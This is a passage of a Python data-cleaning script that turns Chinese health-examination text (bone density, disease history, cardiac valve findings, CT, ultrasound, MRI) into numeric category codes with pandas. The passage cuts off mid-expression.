new_value_5 = [((\"+3\" in str(info1))|(\"3+\" in str(info1))|(\"+++\" in str(info1))|(\"颗粒管型\" in str(info1)) | (str(info1)==\"565\")) for info1 in col_temp ]\n new_value_6 = [((\"+4\" in str(info1))|(\"4+\" in str(info1))|(\"++++\" in str(info1))) for info1 in col_temp ]\n new_value_7 = [((\"见刮片\" in str(info1))|(\"未做\" in str(info1))|(\"见TCT\" in str(info1))) for info1 in col_temp ]\n new_value_confused = []\n for i in range(len(new_value_1)) :\n new_value_confused.append( ( not new_value_1[i] ) and ( not new_value_2[i] ) and ( not new_value_3[i] ) and ( not new_value_4[i] ) and\n ( not new_value_5[i] ) and ( not new_value_6[i] )and ( not new_value_7[i] ) and ( not new_value_empty[i] ))\n data_input1_df.loc[new_value_1,colname_temp] = 0\n data_input1_df.loc[new_value_2,colname_temp] = 1\n data_input1_df.loc[new_value_3,colname_temp] = 2\n data_input1_df.loc[new_value_4,colname_temp] = 3\n data_input1_df.loc[new_value_5,colname_temp] = 4\n data_input1_df.loc[new_value_6,colname_temp] = 5\n data_input1_df.loc[new_value_confused,colname_temp] = 0\n data_input1_df.loc[new_value_empty,colname_temp] = np.nan\n data_input1_df.loc[new_value_7,colname_temp] = np.nan\n return data_input1_df\n \n \ndef datCl_Bone(data_input1_df,colname_temp):\n\n if colname_temp in data_input1_df.columns:\n col_temp = data_input1_df[colname_temp]\n\n new_value_empty = [((str(info1) == \"NaN\" ) | (\"详见\" in str(info1))) for info1 in col_temp]\n new_value_1 = [(\"正常\" in str(info1)) for info1 in col_temp ]\n new_value_2 = [(\"轻度骨量减少\" in str(info1)) for info1 in col_temp ]\n new_value_3 = [((\"骨量减少\" in str(info1)) & (\"轻度骨量减少\" not in str(info1))) for info1 in col_temp ]\n new_value_4 = [(\"中度骨量减少\" in str(info1)) for info1 in col_temp ]\n new_value_5 = [(\"重度骨量减少\" in str(info1)) for info1 in col_temp ]\n new_value_6 = [((\"疏松\" in str(info1)) | (\"骨质减少\" in str(info1)) & (\"骨量减少\" not in str(info1))) for info1 in col_temp ]\n new_value_7 = [(\"严重骨质疏松\" in str(info1)) for info1 in col_temp ]\n new_value_8 = [((\"骨密度降低\" in str(info1)) & (\"骨量减少\" not in str(info1))) for info1 in col_temp ] \n data_input1_df.loc[new_value_1,colname_temp] = 0\n data_input1_df.loc[new_value_2,colname_temp] = 1\n data_input1_df.loc[new_value_3,colname_temp] = 2\n data_input1_df.loc[new_value_4,colname_temp] = 3\n data_input1_df.loc[new_value_5,colname_temp] = 4\n data_input1_df.loc[new_value_6,colname_temp] = 5\n data_input1_df.loc[new_value_7,colname_temp] = 6\n data_input1_df.loc[new_value_8,colname_temp] = 7\n new_value_confused = []\n for i in range(len(new_value_1)) :\n new_value_confused.append( ( not new_value_1[i] ) and ( not new_value_2[i] ) and ( not new_value_3[i] ) and ( not new_value_4[i] ) and\n ( not new_value_5[i] ) and ( not new_value_6[i] ) and ( not new_value_empty[i] ))\n data_input1_df.loc[new_value_empty,colname_temp] = np.nan\n data_input1_df.loc[new_value_confused,colname_temp] = 0\n\n return data_input1_df\n\n##病史\ndef datCl_disease(data_input1_df,colname_temp):\n data_input1_df['hbp']=0\n data_input1_df['hyperlipidemia']=0\n if colname_temp in data_input1_df.columns:\n col_temp =data_input1_df[colname_temp]\n new_value_empty = [(\"NaN\" in str(info1)) for info1 in col_temp]\n new_value_1 = [((\"糖尿病\" in str(info1)) | (\"血糖偏高\" in str(info1)) | ((\"血糖\" in str(info1)) & (\"均偏高\" in str(info1)))) for info1 in col_temp ]\n new_value_2 = [(\"脑供血不足\" in str(info1)) for info1 in col_temp ]\n new_value_3 = [(\"脑梗塞\" in str(info1)) for info1 in col_temp ]\n new_value_4 = [((\"脑瘤\" in str(info1)) | (\"脑血管\" in str(info1)) | (\"脑溢血\" in str(info1)) | (\"脑血栓\" in str(info1))) for info1 in col_temp ]\n new_value_5 = [((\"血压偏高\" in str(info1)) | ((\"血压\" in str(info1)) & (\"均偏高\" in str(info1)))) for info1 in col_temp ] \n new_value_6 = [(\"冠心病\" in str(info1)) for info1 in col_temp ]\n new_value_7 = [(\"高血压\" in str(info1)) for info1 in col_temp ]\n new_value_8 = [((\"高血压\" in str(info1)) & (\"冠心病\" in str(info1))) for info1 in col_temp ]\n new_value_9 = [((\"高血压\" in str(info1)) & (\"脑血栓\" in str(info1))) for info1 in col_temp ]\n new_value_10 = [((\"高血压\" in str(info1)) & (\"脑梗塞\" in str(info1))) for info1 in col_temp ]\n new_value_11 = [((\"高血压\" in str(info1)) & (\"脑溢血\" in str(info1))) for info1 in col_temp ]\n \n new_value_11 = [(\"肾\" in str(info1)) for info1 in col_temp ]\n new_value_12 = [(\"甲状腺\" in str(info1)) for info1 in col_temp ]\n new_value_13 = [((\"心脏杂音\" in str(info1)) |(\"心动过缓\" in str(info1)) |(\"心动过速\" in str(info1)) |(\"心肌炎\" in str(info1)) | (\"心肌供血\" in str(info1)) | (\"心律不齐\" in str(info1)) | (\"早搏\" in str(info1))) for info1 in col_temp ]\n new_value_14 = [((\"心肌梗塞\" in str(info1))|(\"心脏病\" in str(info1))| (\"瓣膜病变史二尖瓣\" in str(info1)) | (\"房颤\" in str(info1))) for info1 in col_temp ]\n new_value_15 = [(\"甲肝史\" in str(info1)) for info1 in col_temp ]\n new_value_16 = [((\"肺癌\" in str(info1))|(\"结肠癌\" in str(info1))) for info1 in col_temp ]\n new_value_17 = [(\"脂肪肝\" in str(info1)) for info1 in col_temp ] \n new_value_18 = [((\"肝部分切除\" in str(info1)) | (\"肝硬化史\" in str(info1)) | (\"肝肿瘤\" in str(info1))) for info1 in col_temp ]\n new_value_19 = [(\"冠心病\" in str(info1)) for info1 in col_temp ]\n new_value_20 = [((\"冠状动脉支架植入\" in str(info1))|(\"冠状动脉搭桥\" in str(info1))) for info1 in col_temp ]\n new_value_21 = [(\"心脏起搏器\" in str(info1)) for info1 in col_temp ]\n new_value_22 = [((\"血脂偏高\" in str(info1)) | ((\"血脂\" in str(info1)) & (\"均偏高\" in str(info1)))) for info1 in col_temp ] \n new_value_23 = [(\"高血脂\" in str(info1)) for info1 in col_temp ]\n new_value_24 = [((\"高血脂\" in str(info1)) & (\"冠心病\" in str(info1))) for info1 in col_temp ]\n \n data_input1_df.loc[new_value_1,'hbp'] =1\n data_input1_df.loc[new_value_2,'hbp'] =2\n data_input1_df.loc[new_value_3,'hbp'] =3\n data_input1_df.loc[new_value_4,'hbp'] =4\n data_input1_df.loc[new_value_5,'hbp'] =5\n data_input1_df.loc[new_value_6,'hbp'] =6\n data_input1_df.loc[new_value_7,'hbp'] =7\n data_input1_df.loc[new_value_8,'hbp'] =8\n data_input1_df.loc[new_value_9,'hbp'] =9\n data_input1_df.loc[new_value_10,'hbp'] =10\n \n data_input1_df.loc[new_value_11,'hyperlipidemia'] =1\n data_input1_df.loc[new_value_12,'hyperlipidemia'] =2\n data_input1_df.loc[new_value_13,'hyperlipidemia'] =3\n data_input1_df.loc[new_value_14,'hyperlipidemia'] =4\n data_input1_df.loc[new_value_15,'hyperlipidemia'] =5\n data_input1_df.loc[new_value_16,'hyperlipidemia'] =6\n data_input1_df.loc[new_value_17,'hyperlipidemia'] =7\n data_input1_df.loc[new_value_18,'hyperlipidemia'] =8\n data_input1_df.loc[new_value_19,'hyperlipidemia'] =9\n data_input1_df.loc[new_value_20,'hyperlipidemia'] =10\n data_input1_df.loc[new_value_21,'hyperlipidemia'] =11\n data_input1_df.loc[new_value_22,'hyperlipidemia'] =12\n data_input1_df.loc[new_value_23,'hyperlipidemia'] =13\n data_input1_df.loc[new_value_24,'hyperlipidemia'] =14\n \n data_input1_df.loc[new_value_empty,'hbp'] = np.nan\n data_input1_df.loc[new_value_empty,'hyperlipidemia'] = np.nan\n return data_input1_df\n\n##脂肪肝 、甲状腺、息肉 102 \ndef datCl_FLD(data_input1_df,colname_temp):\n data_input1_df['fld']=0\n data_input1_df['thyroid']=0\n data_input1_df['gps']=0\n data_input1_df['cc']=0\n data_input1_df['renal_cyst']=0\n data_input1_df['kidney_stone']=0\n data_input1_df['sponge_kidney']=0\n data_input1_df['liver_cyst']=0\n data_input1_df['liver_calcification']=0\n data_input1_df['hch']=0\n if colname_temp in data_input1_df.columns:\n col_temp =data_input1_df[colname_temp]\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [(\"脂肪肝(轻度)\" in str(info1)) for info1 in col_temp ]\n new_value_2 = [(\"脂肪肝(中度)\" in str(info1)) for info1 in col_temp ]\n new_value_3 = [(\"脂肪肝(重度)\" in str(info1)) for info1 in col_temp ]\n new_value_4 = [((\"甲状腺\" in str(info1)) & (\"结节\" in str(info1))) for info1 in col_temp ]\n new_value_5 = [(\"胆囊息肉\" in str(info1)) for info1 in col_temp ]\n new_value_6 = [(\"胆囊结石\" in str(info1)) for info1 in col_temp ]\n new_value_6_2 = [(\"胆囊炎\" in str(info1)) for info1 in col_temp ]\n new_value_6_3 = [(\"胆固醇结晶\" in str(info1)) for info1 in col_temp ]\n new_value_7 = [(\"肾囊肿\" in str(info1)) for info1 in col_temp ]\n new_value_8 = [(\"肾结石\" in str(info1)) for info1 in col_temp ]\n new_value_8_1 = [(\"肾结晶\" in str(info1)) for info1 in col_temp ]\n new_value_8_2 = [(\"海绵肾\" in str(info1)) for info1 in col_temp ]\n new_value_9 = [(\"肝囊肿\" in str(info1)) for info1 in col_temp ]\n new_value_10 = [(\"肝血管瘤\" in str(info1)) for info1 in col_temp ]\n new_value_11 = [(\"肝内钙化\" in str(info1)) for info1 in col_temp ]\n data_input1_df.loc[new_value_1,'fld'] =1\n data_input1_df.loc[new_value_2,'fld'] =2\n data_input1_df.loc[new_value_3,'fld'] =3\n data_input1_df.loc[new_value_4,'thyroid'] =1\n data_input1_df.loc[new_value_5,'gps'] =1\n data_input1_df.loc[new_value_6,'gps'] =2\n data_input1_df.loc[new_value_6_2,'gps'] =3\n data_input1_df.loc[new_value_6_3,'cc'] =1\n data_input1_df.loc[new_value_7,'renal_cyst'] =1\n data_input1_df.loc[new_value_8,'kidney_stone'] =2\n data_input1_df.loc[new_value_8_1,'kidney_stone'] =1\n data_input1_df.loc[new_value_8_2,'sponge_kidney'] =1\n data_input1_df.loc[new_value_9,'liver_cyst'] =1\n data_input1_df.loc[new_value_10,'hch'] =1\n data_input1_df.loc[new_value_11,'liver_calcification'] =1\n data_input1_df.loc[new_value_empty,'fld'] =np.nan\n data_input1_df.loc[new_value_empty,'thyroid'] =np.nan\n data_input1_df.loc[new_value_empty,'gps'] =np.nan\n data_input1_df.loc[new_value_empty,'cc'] =np.nan\n data_input1_df.loc[new_value_empty,'renal_cyst'] =np.nan\n data_input1_df.loc[new_value_empty,'kidney_stone'] =np.nan\n data_input1_df.loc[new_value_empty,'sponge_kidney'] =np.nan\n data_input1_df.loc[new_value_empty,'liver_cyst'] =np.nan\n data_input1_df.loc[new_value_empty,'hch'] =np.nan\n data_input1_df.loc[new_value_empty,'liver_calcification'] =np.nan\n return data_input1_df\n\n###动脉硬化102 \ndef datCl_FLD2(data_input1_df,colname_temp):\n data_input1_df['carotid']=0\n data_input1_df['arteriosclerosis_102']=0\n data_input1_df['aortic_stenosis']=0\n data_input1_df['aortic_insufficiency']=0\n data_input1_df['aortic_regurgitation']=0\n data_input1_df['tricuspid_regurgitation']=0\n data_input1_df['MR_VTI']=0\n data_input1_df['pulmonary_regurgitaion']=0\n \n if colname_temp in data_input1_df.columns:\n \n col_temp =data_input1_df[colname_temp]\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1_1 = [((\"颈动脉硬化\" in str(info1))|(\"颈总动脉硬化\" in str(info1))|(\"颈动脉粥样硬化\" in str(info1))) for info1 in col_temp ]\n new_value_1_2 = [(\"颈总动脉斑块\" in str(info1)) for info1 in col_temp ]\n new_value_1_3 = [((\"颈总动脉硬化伴斑块\" in str(info1))|(\"颈动脉粥样硬化多发斑块\" in str(info1))|(\"颈动脉粥样硬化伴斑块\" in str(info1))) for info1 in col_temp ]\n new_value_2_1 = [(\"主动脉轻度硬化\" in str(info1)) for info1 in col_temp ]\n new_value_2_2 = [(\"主动脉中度硬化\" in str(info1)) for info1 in col_temp ]\n new_value_2_3 = [(\"主动脉硬化\" in str(info1)) for info1 in col_temp ]\n new_value_2_4 = [(\"主动脉钙化\" in str(info1)) for info1 in col_temp ]\n \n data_input1_df.loc[new_value_1_1,'carotid'] =1\n data_input1_df.loc[new_value_1_2,'carotid'] =2\n data_input1_df.loc[new_value_1_3,'carotid'] =3\n data_input1_df.loc[new_value_empty,'carotid'] =np.nan\n \n data_input1_df.loc[new_value_2_1,'arteriosclerosis_102'] =1\n data_input1_df.loc[new_value_2_2,'arteriosclerosis_102'] =2\n data_input1_df.loc[new_value_2_3,'arteriosclerosis_102'] =3\n data_input1_df.loc[new_value_2_4,'arteriosclerosis_102'] =4\n data_input1_df.loc[new_value_empty,'arteriosclerosis_102'] =np.nan\n \n new_value_3_1 = [(\"主动脉瓣狭窄(轻度)\" in str(info1)) for info1 in col_temp ]\n new_value_3_2 = [(\"主动脉瓣狭窄(轻-中度)\" in str(info1)) for info1 in col_temp ]\n new_value_3_3 = [(\"主动脉瓣狭窄(中度)\" in str(info1)) for info1 in col_temp ]\n new_value_3_4 = [(\"主动脉瓣狭窄(中-重度)\" in str(info1)) for info1 in col_temp ]\n new_value_3_5 = [(\"主动脉瓣狭窄(重度)\" in str(info1)) for info1 in col_temp ] \n \n data_input1_df.loc[new_value_3_1,'aortic_stenosis'] =1\n data_input1_df.loc[new_value_3_2,'aortic_stenosis'] =2\n data_input1_df.loc[new_value_3_3,'aortic_stenosis'] =3\n data_input1_df.loc[new_value_3_4,'aortic_stenosis'] =4\n data_input1_df.loc[new_value_3_5,'aortic_stenosis'] =5\n data_input1_df.loc[new_value_empty,'aortic_stenosis'] =np.nan\n \n new_value_4_1 = [(\"主动脉瓣关闭不全(轻度)\" in str(info1)) for info1 in col_temp ]\n new_value_4_2 = [(\"主动脉瓣关闭不全(轻-中度)\" in str(info1)) for info1 in col_temp ]\n new_value_4_3 = [(\"主动脉瓣关闭不全(中度)\" in str(info1)) for info1 in col_temp ]\n new_value_4_4 = [(\"主动脉瓣关闭不全(中-重度)\" in str(info1)) for info1 in col_temp ]\n new_value_4_5 = [(\"主动脉瓣关闭不全(重度)\" in str(info1)) for info1 in col_temp ]\n \n data_input1_df.loc[new_value_4_1,'aortic_insufficiency'] =1\n data_input1_df.loc[new_value_4_2,'aortic_insufficiency'] =2\n data_input1_df.loc[new_value_4_3,'aortic_insufficiency'] =3\n data_input1_df.loc[new_value_4_4,'aortic_insufficiency'] =4\n data_input1_df.loc[new_value_4_5,'aortic_insufficiency'] =5\n data_input1_df.loc[new_value_empty,'aortic_insufficiency'] =np.nan\n \n new_value_5_1 = [(\"主动脉瓣少量反流\" in str(info1)) for info1 in col_temp ]\n new_value_5_2 = [(\"主动脉瓣反流(轻度)\" in str(info1)) for info1 in col_temp ]\n new_value_5_3 = [(\"主动脉瓣反流(轻-中度)\" in str(info1)) for info1 in col_temp ]\n new_value_5_4 = [(\"主动脉瓣反流(中度)\" in str(info1)) for info1 in col_temp ]\n new_value_5_5 = [(\"主动脉瓣反流(中-重度)\" in str(info1)) for info1 in col_temp ]\n new_value_5_6 = [(\"主动脉瓣反流(重度)\" in str(info1)) for info1 in col_temp ]\n \n data_input1_df.loc[new_value_5_1,'aortic_regurgitation'] =1\n data_input1_df.loc[new_value_5_2,'aortic_regurgitation'] =2\n data_input1_df.loc[new_value_5_3,'aortic_regurgitation'] =3\n data_input1_df.loc[new_value_5_4,'aortic_regurgitation'] =4\n data_input1_df.loc[new_value_5_5,'aortic_regurgitation'] =5\n data_input1_df.loc[new_value_5_6,'aortic_regurgitation'] =6\n data_input1_df.loc[new_value_empty,'aortic_regurgitation'] =np.nan\n \n new_value_6_1 = [(\"三尖瓣少量反流\" in str(info1)) for info1 in col_temp ]\n new_value_6_2 = [(\"三尖瓣反流(轻度)\" in str(info1)) for info1 in col_temp ]\n new_value_6_3 = [(\"三尖瓣反流(轻-中度)\" in str(info1)) for info1 in col_temp ]\n new_value_6_4 = [(\"三尖瓣反流(中度)\" in str(info1)) for info1 in col_temp ]\n new_value_6_5 = [(\"三尖瓣反流(中-重度)\" in str(info1)) for info1 in col_temp ]\n new_value_6_6 = [(\"三尖瓣反流(重度)\" in str(info1)) for info1 in col_temp ]\n \n data_input1_df.loc[new_value_6_1,'tricuspid_regurgitation'] =1\n data_input1_df.loc[new_value_6_2,'tricuspid_regurgitation'] =2\n data_input1_df.loc[new_value_6_3,'tricuspid_regurgitation'] =3\n data_input1_df.loc[new_value_6_4,'tricuspid_regurgitation'] =4\n data_input1_df.loc[new_value_6_5,'tricuspid_regurgitation'] =5\n data_input1_df.loc[new_value_6_6,'tricuspid_regurgitation'] =6\n data_input1_df.loc[new_value_empty,'tricuspid_regurgitation'] =np.nan\n \n new_value_7_1 = [(\"二尖瓣少量反流\" in str(info1)) for info1 in col_temp ]\n new_value_7_2 = [(\"二尖瓣反流(轻度)\" in str(info1)) for info1 in col_temp ]\n new_value_7_3 = [(\"二尖瓣反流(轻-中度)\" in str(info1)) for info1 in col_temp ]\n new_value_7_4 = [(\"二尖瓣反流(中度)\" in str(info1)) for info1 in col_temp ]\n new_value_7_5 = [(\"二尖瓣反流(中-重度)\" in str(info1)) for info1 in col_temp ]\n new_value_7_6 = [(\"二尖瓣反流(重度)\" in str(info1)) for info1 in col_temp ]\n \n data_input1_df.loc[new_value_7_1,'MR_VTI'] =1\n data_input1_df.loc[new_value_7_2,'MR_VTI'] =2\n data_input1_df.loc[new_value_7_3,'MR_VTI'] =3\n data_input1_df.loc[new_value_7_4,'MR_VTI'] =4\n data_input1_df.loc[new_value_7_5,'MR_VTI'] =5\n data_input1_df.loc[new_value_7_6,'MR_VTI'] =6\n data_input1_df.loc[new_value_empty,'MR_VTI'] =np.nan\n \n new_value_8_1 = [(\"肺动脉瓣少量反流\" in str(info1)) for info1 in col_temp ]\n new_value_8_2 = [(\"肺动脉瓣反流(轻度)\" in str(info1)) for info1 in col_temp ]\n new_value_8_3 = [(\"肺动脉瓣反流(轻-中度)\" in str(info1)) for info1 in col_temp ]\n new_value_8_4 = [(\"肺动脉瓣反流(中度)\" in str(info1)) for info1 in col_temp ]\n new_value_8_5 = [(\"肺动脉瓣反流(中-重度)\" in str(info1)) for info1 in col_temp ]\n new_value_8_6 = [(\"肺动脉瓣反流(重度)\" in str(info1)) for info1 in col_temp ]\n \n data_input1_df.loc[new_value_8_1,'pulmonary_regurgitaion'] =1\n data_input1_df.loc[new_value_8_2,'pulmonary_regurgitaion'] =2\n data_input1_df.loc[new_value_8_3,'pulmonary_regurgitaion'] =3\n data_input1_df.loc[new_value_8_4,'pulmonary_regurgitaion'] =4\n data_input1_df.loc[new_value_8_5,'pulmonary_regurgitaion'] =5\n data_input1_df.loc[new_value_8_6,'pulmonary_regurgitaion'] =6\n data_input1_df.loc[new_value_empty,'pulmonary_regurgitaion'] =np.nan\n return data_input1_df \n \n## CT,第一列A201,第二列A202\ndef datCl_CT(data_input1_df,colname_temp1,colname_temp2):\n data_input1_df['abi']=0\n data_input1_df['ao_a202']=0\n data_input1_df['coronary_a202']=0\n if colname_temp1 in data_input1_df.columns: \n col_temp =data_input1_df[colname_temp1]\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [(\"结石\" in str(info1)) for info1 in col_temp ]\n new_value_2 = [(\"低密度影\" in str(info1)) for info1 in col_temp ]\n new_value_3 = [(\"高密度影\" in str(info1)) for info1 in col_temp ]\n new_value_confused = []\n for i in range(len(new_value_1)) :\n new_value_confused.append( ( not new_value_1[i] ) and ( not new_value_2[i] ) and ( not new_value_3[i] ) and ( not new_value_empty[i] ))\n data_input1_df.loc[new_value_1,colname_temp1] = 1\n data_input1_df.loc[new_value_2,colname_temp1] = 2\n data_input1_df.loc[new_value_3,colname_temp1] = 3\n data_input1_df.loc[new_value_confused,colname_temp1] = 4 \n if colname_temp2 in data_input1_df.columns: \n col_temp =data_input1_df[colname_temp2]\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [(\"脑梗塞\" in str(info1)) for info1 in col_temp ]\n \n new_value_2_1 = [((\"主动脉硬化\" in str(info1))|(\"主动脉及冠状动脉硬化\" in str(info1))) for info1 in col_temp ]\n new_value_2_2 = [((\"主动脉钙化\" in str(info1))|(\"主动脉少许钙化\" in str(info1))|(\"主动脉弓钙化\" in str(info1))|(\"主动脉钙化\" in str(info1))) for info1 in col_temp ]\n new_value_2_3 = [((\"主动脉壁及冠状动脉局部钙化\" in str(info1)) | (\"主动脉管壁钙化\" in str(info1)) | (\"主动脉、头臂干及冠状动脉管壁钙化\" in str(info1))|(\"主动脉及冠状动脉管壁钙化\" in str(info1))|(\"主动脉、冠状动脉管壁钙化\" in str(info1))) for info1 in col_temp ] \n \n new_value_3_1 = [((\"冠状动脉硬化\" in str(info1)) |(\"主动脉及冠状动脉硬化\" in str(info1))) for info1 in col_temp ] \n new_value_3_2 = [((\"冠状动脉局部钙化\" in str(info1)) |(\"主动脉少许钙化\" in str(info1))|(\"冠状动脉钙化\" in str(info1))) for info1 in col_temp ]\n new_value_3_3 = [((\"主动脉壁及冠状动脉局部钙化\" in str(info1)) | (\"主动脉、头臂干及冠状动脉管壁钙化\" in str(info1))|(\"主动脉及冠状动脉管壁钙化\" in str(info1))|(\"主动脉、冠状动脉管壁钙化\" in str(info1))|(\"冠状动脉管壁钙化\" in str(info1))) for info1 in col_temp ]\n \n data_input1_df.loc[new_value_1,'abi'] = 1\n data_input1_df.loc[new_value_2_1,'ao_a202'] = 1\n data_input1_df.loc[new_value_2_2,'ao_a202'] = 2\n data_input1_df.loc[new_value_2_3,'ao_a202'] = 3\n data_input1_df.loc[new_value_3_1,'coronary_a202'] = 1\n data_input1_df.loc[new_value_3_2,'coronary_a202'] = 2\n data_input1_df.loc[new_value_3_3,'coronary_a202'] = 3\n data_input1_df.loc[new_value_empty,'abi'] = np.nan\n data_input1_df.loc[new_value_empty,'ao_a202'] = np.nan\n data_input1_df.loc[new_value_empty,'coronary_a202'] = np.nan\n data_input1_df['ct_head'] = data_input1_df['abi']+data_input1_df['ao_a202']+data_input1_df['coronary_a202']\n return data_input1_df \n \n###B超回声判断 肝、肾 113 114 115 116 117+118\ndef datCl_echo(data_input1_df,colname_temp):\n \n if colname_temp in data_input1_df.columns:\n col_temp =data_input1_df[colname_temp]\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [(\"高回声\" in str(info1)) for info1 in col_temp ]\n new_value_2 = [(\"中等回声\" in str(info1)) for info1 in col_temp ]\n new_value_3 = [(\"低回声\" in str(info1)) for info1 in col_temp ]\n new_value_4 = [(\"无回声\" in str(info1)) for info1 in col_temp ]\n new_value_confused = []\n for i in range(len(new_value_1)) :\n new_value_confused.append( ( not new_value_1[i] ) and ( not new_value_empty[i] ))\n data_input1_df.loc[new_value_1,colname_temp] = 1\n data_input1_df.loc[new_value_2,colname_temp] = 2\n data_input1_df.loc[new_value_3,colname_temp] = 3\n data_input1_df.loc[new_value_4,colname_temp] = 4\n data_input1_df.loc[new_value_confused,colname_temp] = 0\n return data_input1_df\n\n###心房血流 101\ndef datCl_blood(data_input1_df,colname_temp):\n data_input1_df['bffs']=0 \n if colname_temp in data_input1_df.columns:\n col_temp =data_input1_df[colname_temp]\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [((\"A峰>E峰\" in str(info1)) | (\"A峰>E\" in str(info1)) | (\"A>E\" in str(info1)) | (\"E峰A峰\" in str(info1)) | (\"E>A峰\" in str(info1)) | (\"E>A\" in str(info1))) for info1 in col_temp ]\n new_value_confused = []\n for i in range(len(new_value_1)) :\n new_value_confused.append( ( not new_value_1[i] ) and ( not new_value_empty[i] ))\n data_input1_df.loc[new_value_1,'bffs'] = 2\n data_input1_df.loc[new_value_2,'bffs'] = 1\n data_input1_df.loc[new_value_confused,'bffs'] = 0\n data_input1_df.loc[new_value_empty,'bffs'] = np.nan\n return data_input1_df\n\n###血流速度 1402\ndef datCl_CBFV(data_input1_df,colname_temp):\n data_input1_df['BA_CBFV']=0\n data_input1_df['MCA_CBFV']=0\n if colname_temp in data_input1_df.columns:\n col_temp =data_input1_df[colname_temp]\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [(\"基底动脉血流速度减慢\" in str(info1)) for info1 in col_temp ]\n new_value_2 = [(\"基底动脉血流速度略减慢\" in str(info1)) for info1 in col_temp ]\n new_value_3 = [(\"基底动脉血流速度略增快\" in str(info1)) for info1 in col_temp ]\n new_value_4 = [(\"基底动脉血流速度增快\" in str(info1)) for info1 in col_temp ]\n new_value_5 = [(\"大脑中动脉血流速度减慢\" in str(info1)) for info1 in col_temp ]\n new_value_6 = [(\"大脑中动脉血流速度略减慢\" in str(info1)) for info1 in col_temp ]\n new_value_7 = [(\"大脑中动脉血流速度略增快\" in str(info1)) for info1 in col_temp ]\n new_value_8 = [((\"大脑中动脉血流速度增快\" in str(info1))|(\"双侧大脑中动脉、颈内动脉末端、大脑前动脉血流速度增快\" in str(info1))) for info1 in col_temp ]\n new_value_confused1 = []\n new_value_confused2 = []\n for i in range(len(new_value_1)) :\n new_value_confused1.append( ( not new_value_1[i] ) and ( not new_value_2[i] ) and ( not new_value_3[i] ) and ( not new_value_4[i] ) and ( not new_value_empty[i] ))\n data_input1_df.loc[new_value_1,'BA_CBFV'] = 1\n data_input1_df.loc[new_value_2,'BA_CBFV'] = 2\n data_input1_df.loc[new_value_3,'BA_CBFV'] = 3\n data_input1_df.loc[new_value_4,'BA_CBFV'] = 4\n data_input1_df.loc[new_value_empty,'BA_CBFV'] = np.nan\n \n for i in range(len(new_value_5)) :\n new_value_confused2.append( ( not new_value_5[i] ) and ( not new_value_6[i] ) and ( not new_value_7[i] ) and ( not new_value_8[i] ) and ( not new_value_empty[i] )) \n data_input1_df.loc[new_value_5,'MCA_CBFV'] = 1\n data_input1_df.loc[new_value_6,'MCA_CBFV'] = 2\n data_input1_df.loc[new_value_7,'MCA_CBFV'] = 3\n data_input1_df.loc[new_value_8,'MCA_CBFV'] = 4\n data_input1_df.loc[new_value_empty,'MCA_CBFV'] = np.nan\n \n return data_input1_df\n\n###血管弹性 4001\ndef datCl_Vasoactivity(data_input1_df,colname_temp):\n data_input1_df['vasoactivity']=0\n data_input1_df['arteriosclerosis']=0\n if colname_temp in data_input1_df.columns:\n col_temp =data_input1_df[colname_temp]\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [((\"血管弹性度正常\" in str(info1)) | (\"血管弹性良好\" in str(info1))) for info1 in col_temp ]\n new_value_2 = [(\"有血管弹性减弱趋势\" in str(info1)) for info1 in col_temp ]\n new_value_3 = [(\"临界血管弹性减弱\" in str(info1)) for info1 in col_temp ]\n new_value_4 = [(\"血管弹性轻度减弱\" in str(info1)) for info1 in col_temp ]\n new_value_5 = [(\"血管弹性中度减弱\" in str(info1)) for info1 in col_temp ]\n new_value_6 = [(\"血管弹性重度减弱\" in str(info1)) for info1 in col_temp ]\n new_value_7 = [(\"血管钙化可能\" in str(info1)) for info1 in col_temp ]\n \n new_value_8 = [(\"动脉硬化可能\" in str(info1)) for info1 in col_temp ]\n new_value_9 = [(\"动脉轻度硬化可能\" in str(info1)) for info1 in col_temp ]\n new_value_10 = [(\"动脉硬化\" in str(info1)) for info1 in col_temp ]\n new_value_11 = [(\"动脉重度硬化\" in str(info1)) for info1 in col_temp ]\n \n\n data_input1_df.loc[new_value_1,'vasoactivity'] = 0\n data_input1_df.loc[new_value_2,'vasoactivity'] = 1\n data_input1_df.loc[new_value_3,'vasoactivity'] = 2\n data_input1_df.loc[new_value_4,'vasoactivity'] = 3\n data_input1_df.loc[new_value_5,'vasoactivity'] = 4\n data_input1_df.loc[new_value_6,'vasoactivity'] = 5\n data_input1_df.loc[new_value_7,'vasoactivity'] = 6\n data_input1_df.loc[new_value_empty,'vasoactivity'] = np.nan\n \n data_input1_df.loc[new_value_10,'arteriosclerosis'] = 3\n data_input1_df.loc[new_value_8,'arteriosclerosis'] = 2\n data_input1_df.loc[new_value_9,'arteriosclerosis'] = 1\n data_input1_df.loc[new_value_11,'arteriosclerosis'] = 4\n data_input1_df.loc[new_value_empty,'arteriosclerosis'] = np.nan\n return data_input1_df\n\n\n###核磁共振A301 A302\ndef datCl_MRI(data_input1_df,colname_temp1,colname_temp2):\n data_input1_df['T1WI']=0\n data_input1_df['T2WI']=0\n data_input1_df['FLAIR']=0\n data_input1_df['leukodystrophy']=0 \n if colname_temp1 in data_input1_df.columns: \n col_temp =data_input1_df[colname_temp1]\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [(\"T1WI高信号\" in str(info1)) for info1 in col_temp ]\n new_value_2 = [((\"T1WI等信号\" in str(info1)) | (\"T1WI呈等信号\" in str(info1))) for info1 in col_temp ]\n new_value_3 = [((\"T1WI等低信号\" in str(info1)) |( \"T1WI呈等或低信号\" in str(info1))) for info1 in col_temp ]\n new_value_4 = [((\"T1WI为略低信号\" in str(info1)) | (\"T1WI略低信号\" in str(info1))) for info1 in col_temp ]\n new_value_5 = [((\"T1WI低信号\" in str(info1)) | (\"T1WI呈低信号\" in str(info1))|(\"T1WI囊样低信号\" in str(info1))) for info1 in col_temp ] \n new_value_6 = [(\"T2WI呈稍高信号\" in str(info1)) for info1 in col_temp ] \n new_value_7 = [((\"T2W及FLAIR高信号\" in 